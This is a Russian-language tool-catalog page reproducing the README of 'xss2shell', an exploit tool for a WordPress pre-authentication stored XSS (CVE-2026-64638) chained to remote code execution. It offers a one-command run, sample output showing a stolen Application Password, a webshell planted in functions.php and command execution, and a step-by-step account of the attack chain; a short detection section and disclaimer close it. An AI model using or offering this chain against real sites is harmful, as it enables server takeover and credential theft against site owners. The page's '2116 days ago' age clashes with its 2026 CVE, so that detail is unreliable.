Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
xss2shell — CVE-2026-64638 | WordPress < 7.0.3 Предварительная аутентификация: сохраненный XSS → RCE | Kitploit
Инструменты/GitHubGitHub/alisalive/xss2shell
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubalisalive/xss2shell

xss2shell

CVE-2026-64638 | WordPress < 7.0.3 Предварительная аутентификация: сохраненный XSS → RCE

Репозиторий
2116 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
xss2shell



CVE WordPress Python License

Каждый публичный PoC для этой CVE сломан. Этот работает.

Уязвимость · Быстрый старт · Как это работает · Ограничения


Уязвимость

WordPress < 7.0.3 не очищает параметр log (имя пользователя) в wp-login.php. Значение сохраняется и отображается внутри аутентифицированной сессии администратора — это stored XSS до аутентификации, который при одном клике приводит к полному захвату сервера.

Victim clicks lure  --->  XSS fires  --->  App Password stolen  --->  Shell planted  --->  RCE

Быстрый старт

# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
Пример вывода
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php

============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.

Использование

usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]

  -t, --target    Target WordPress URL
  -c, --command   OS command to execute on the server
  --lhost         Attacker callback IP (default: auto-detect)
  --lport         Attacker callback port (default: random)
  --keep          Don't clean up artifacts after exploitation

Как это работает

ЭтапДействиеПодробности
1. XSSВнедрение через wp-login.phpСпециально сформированный параметр log с DOM clobbering (<area id=ajaxurl>) перехватывает AJAX URL WordPress, автоматически подтверждая App Password через JSONP
2. КражаУтечка Application Passwordauthorize-application.php незаметно создаёт App Password; success_url отправляет его атакующему
3. ОболочкаЗапись веб-оболочки (3 резервных способа)Редактор темы → functions.php · Загрузка плагина → xss2shell/shell.php · Редактор плагина → существующий файл плагина
4. RCEВыполнение команд ОСВеб-оболочка запускает shell_exec(), возвращает вывод в JSON, инструмент автоматически проверяет и очищает следы

Уязвимые версии

ВерсияСтатус
WordPress < 7.0.3Уязвима
WordPress >= 7.0.3Исправлена

Ограничения

УсловиеВлияние
DISALLOW_FILE_EDITРедакторы темы/плагинов заблокированы — работает только загрузка ZIP
DISALLOW_FILE_MODSВсе 3 метода заблокированы — RCE невозможен
WAF (Cloudflare, Wordfence)Может фильтровать XSS-полезную нагрузку или запросы веб-оболочки
disable_functions в PHPshell_exec заблокирован — пустой вывод
Блокировщик всплывающих оконНарушает цепочку всплывающих окон
Строгие заголовки CSPБлокируют встроенный JS или кросс-доменный fetch

Обнаружение

Ищите эти индикаторы, если xss2shell использовался против вашего сайта:

  • Application Password для имени приложения XSS2Shell-Poc-Wordsec
  • Плагин xss2shell в wp-content/plugins/
  • Строка xss2shell_cmd в functions.php или любом файле плагина
  • JSONP-запросы к /?rest_route=/&_method=GET&_jsonp=

Зачем это нужно

Каждый публичный PoC для CVE-2026-64638 останавливается на alert(1) или требует ручных шагов, которые не может воспроизвести ни один триажер. Этот инструмент обеспечивает полную цепочку эксплуатации одной командой — от нулевой аутентификации до RCE. Создан для исследователей безопасности, которым нужны доказательства, а не теория.

Отказ от ответственности

Только для авторизованного тестирования безопасности и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен.


WordSec · CVE-2026-64638 · Исправлено в WordPress 7.0.3

Скачать инструмент